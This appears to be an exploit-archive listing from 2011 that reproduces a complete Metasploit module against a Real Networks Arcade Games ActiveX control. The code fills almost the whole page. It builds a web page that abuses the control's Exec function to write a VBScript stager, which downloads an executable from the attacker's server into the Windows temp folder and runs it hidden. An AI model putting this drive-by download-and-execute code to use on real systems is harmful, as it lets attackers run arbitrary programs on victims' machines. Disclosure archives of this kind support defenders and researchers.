Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution

🗓️ 09 Apr 2011 00:00:00Reported by rgodType
packetstorm🔗 packetstormsecurity.com👁 16 Views
Real Networks Arcade Games ActiveX vulnerability allows remote code executio
`##  
# $Id: real_arcade_installerdlg.rb 12286 2011-04-09 18:24:43Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"  
function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands  
on the victim machine.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod', #Initial discovery, poc  
'sinn3r', #msf  
],  
'Version' => '$Revision: 12286 $',  
'References' =>  
[  
[ 'OSVDB', '71559' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/17105/' ]  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', {} ],  
],  
'DisclosureDate' => 'Apri 3 2011',  
'DefaultTarget' => 0))  
end  
  
# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in  
# either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine  
# that only uses one echo.  
def build_vbs(url, payload_name, stager_name)  
name_xmlhttp = rand_text_alpha(2)  
name_adodb = rand_text_alpha(2)  
  
tmp = "#{@temp_folder}/#{stager_name}"  
  
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "  
vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"  
vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "  
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "  
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "  
vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "  
vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"  
  
return vbs  
end  
  
def exploit  
@payload_name = rand_text_alpha(4)  
@temp_folder = "C:/Windows/Temp"  
super  
end  
  
def on_request_uri(cli, request)  
if request.uri =~ /\.exe/  
print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")  
return if ((p=regenerate_payload(cli)) == nil)  
data = generate_payload_exe( {:code=>p.encoded} )  
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )  
return  
end  
  
# Payload's URL  
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"  
  
# Create the stager (download + execute payload)  
stager_name = rand_text_alpha(6) + ".vbs"  
stager = build_vbs(payload_src, @payload_name, stager_name)  
  
html_obj_name = rand_text_alpha(6)  
  
html = <<-EOS  
<html>  
<object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />  
</object>  
<script language='vbscript'>  
#{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""  
setTimeout "x=1", 3000  
#{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""  
</script>  
</html>  
EOS  
  
# Remove extra tabs  
html = html.gsub(/^\t\t/, "")  
  
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
end  
end  
`
09 Apr 2011 00:00Current
0.5Low risk
Vulners AI Score0.5